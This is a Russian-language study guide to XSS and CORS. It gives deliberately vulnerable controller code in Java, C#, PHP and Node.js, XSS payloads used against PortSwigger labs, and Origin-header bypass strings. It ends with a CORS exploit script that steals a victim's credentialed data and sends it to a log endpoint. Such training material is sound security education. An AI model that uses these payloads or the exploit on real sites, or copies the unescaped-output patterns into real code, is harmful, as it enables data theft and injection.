# XSS ## Материал для самостоятельного изучения Содержание: 1. Примеры уязвимого кода 2. Примеры атак и уязвимых приложений ## Примеры уязвимого кода Уязвимость в классическом виде практически побеждена из-за дополнительных проверок со стороны браузера. Однако может по-преднему исползоваться как вектор для добавления html кода и автоматизации взаимодействия с приложением от имени пользователя(жертвы). Ниже приведены самые простые примеры уязвимости на различных языках программирования. Java Spring ```Java package com.example.springxss; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; @RestController public class XSSController { @GetMapping("/hello") ResponseEntity<String> hello(@RequestParam(value = "name", defaultValue = "World") String name) { return new ResponseEntity<>("Hello World!" + name, HttpStatus.OK); } } ``` C# ```C# using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using System.Web; namespace WebFox.Controllers { [Route("api/[controller]")] [ApiController] public class XSS : ControllerBase { public async void xss(string userInfo) { var context = this.ControllerContext.HttpContext; await context.Response.WriteAsync("<body>"+ userInfo +"</body>"); } } } ``` php ```php <?php require_once('../_helpers/strip.php'); ?> <html> <head> </head> <body> <p> Hi, <?= $_GET['name']; ?> </p> <script> window.onload = function(){ let someObject = window.someObject || {}; let script = document.createElement('script'); script.src = someObject.url; document.body.appendChild(script); }; </script> </body> </html> ``` nodeJS ```javascript const express = require('express') const router = express.Router() router.get('/greeting', (req, res) => { const { name } = req.query; res.send('<h1> Hello :'+ name +"</h1>") }) router.get('/greet-template', (req,res) => { name = req.query.name res.render('index', { user_name: name}); }) module.exports = router ``` ## Примеры атак и уязвимых приложений Тестирование производится поиском отображения данных, которые передал пользователь на фронтенде приложения. Основное внимание уделяется тем параметрам, которые пропускают без изменения символы необходимые для описания тегов и атрибутов. За счет тестирования приложения на пропуск спец символов html, можно попытаться поуправлять контекстом того как браузер видит страницу. Рассмотрим несколько приложений: ### Уязвимое приложение находится по адресу: https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded Отправляем тестовый тег для проверки доступности символов html: ![](https://i.imgur.com/7DnFr1P.png) Видно, что мы находимся в контексте html документа, поэтому можем использовать обычный тег script: ```javascript <script>alert(1)</script> ``` ![](https://i.imgur.com/AywLOOs.png) ### Уязвимое приложение находится по адресу: https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded Снова приложение, которое не валидирует данные от пользователя и показывает их на фронтенде в первозданном виде. В этом приложении атака будет отличаться только тем, что данные атаки будут сохранены и появляться будут каждый раз как пользователь заходит на страницу. Для теста можно исползовать вот такой набор данных : ```html <img src=x onerror=alert(1)> ``` ![](https://i.imgur.com/GfTfhnr.png) ### Уязвимое приложение находится по адресу: https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink Задание сложнее в том плане, что придется искать для уязвимости 2 параметра - место куда можно предоставить данные для атаки. И второе - где данные окажутся после выполнения кода страницы. Для автоматизации поиска в браузере burp установлен плагин Dom Invander. Он пытается автоматически искать уявзимости данного типа, но нужно иметь в виду, что ресурсами с включенным плагинов пользоваться становится затруднительно. Найти полную информацию по плагину можно [тут](https://portswigger.net/burp/documentation/desktop/tools/dom-invader). Перед представлением данных изучим исходник приложения на фронтенде: ![](https://i.imgur.com/qfhgp3z.png) javascript опирается о часть url, которые может использовать атакующий. Попробуем поставить данные для теста в указанный в исходнике параметр `"><img src=x onerror=alert(1)>`: ![](https://i.imgur.com/HP3xiZP.png) Уязвимость обнаружена. Адекватной автоматизации поиска в виде плагина - нет. Можно пользоваться любой библиотекой для сбора данных с фронтенда. Отправлять тестовые данные в приложение и парсить появление опасных символов в исходнике страницы. Если уязвимость будет DOM Based, то можно заранее подготовить тег или метку, которую будет добавлять скрипт в страницу. # CORS Содержание: 1. Примеры уязвимого кода Уязвимость может быть привнесена в приложение через конфиг веб сервера или через проставление заголовка через фреймворк приложения. Чаще всего встречается, если оставляют настройки по-умолчанию. 2. Примеры атак и уязвимых приложений ### Ошибки парсера URL Если для дополнения правил используется заголовок ` Origin:`, то его изменение может повлиять на дополнение заголовка CORS. Неточности парсинга могут присутствовать потому что все браузеры по-разному могут воспринимать данные в URL. Обычно тестирование таких несостыковок происходит на вот таких тестовых данных: ``` expected-host.com.attacker.com expected-host.computer foo@evil-host:80@expected-host foo@evil-host%20@expected-host evil-host%09expected-host 127.1.1.1:80\@127.2.2.2:80 127.1.1.1:80:\@@127.2.2.2:80 127.1.1.1:80#\@127.2.2.2:80 ß.evil-host ``` ### Даунгрейд атаки на шифрование При запросе: ``` GET /api/request/api_key HTTP/1.1 Host: vulnerable-website.com Origin: http://trusted-subdomain.vulnerable-website.com Cookie: sessionid=... ``` Сервер отвечает: ``` HTTP/1.1 200 OK Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true ``` При составлении уязвимого запроса к серверу, злоумышленник может прочитать конфиденциальные данные. ### null origin На запрос: ``` GET /sensitive-victim-data Host: vulnerable-website.com Origin: null ``` Сервер отвечает: ``` HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true ... ``` В таком случае можно обратиться к отладочному интерфейсу приложения и обойти механизмы контроля доступа. Обход достаточно просто можно сделать отправив запрос из iframe. ### Cache poison client side При использовании заголовка `Vary: Origin`. уязвимое взаимодействие может выглядеть вот так: ``` GET / HTTP/1.1 Host: vulnerable-website.com X-User-id: <svg/onload=alert(1)> ​``` Сервер пришлет ответ: ``` HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-User-id Content-Type: text/html ... ​ Invalid user: <svg/onload=alert(1)>``` Успешность атаки зависит от браузера, может отработать при попытке посетить уязвимый ресурс. Автоматизация процесса поиска мисконфигурации со стороны клиента возможна через плагин `CORS*, Additional CORS Checks`. Плагин будет в фоновом режиме парсить заголовки ответов сервера и сигнализировать в логе, что есть проблема конфигурации. ### Уязвимое приложение: https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack Приложеине динамически заполняет один из загловков CORS, это можно использовать для доступа к конфиденциальной информации. Ниже приведен результат теста, где был добавлен заголовок Origin: test.com ![](https://i.imgur.com/CJDGobm.png) Чтобы атака была проведена успешно нужно каким-либо образом передать пользователю, который имеет доступ к ресурсу, код который будет работать с данными и перешлет всю собранную информацию. Эксплойт, который нужно доставить жертве: ```javascript <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vulnEndpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> ``` ## Полезные ссылки - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection - https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html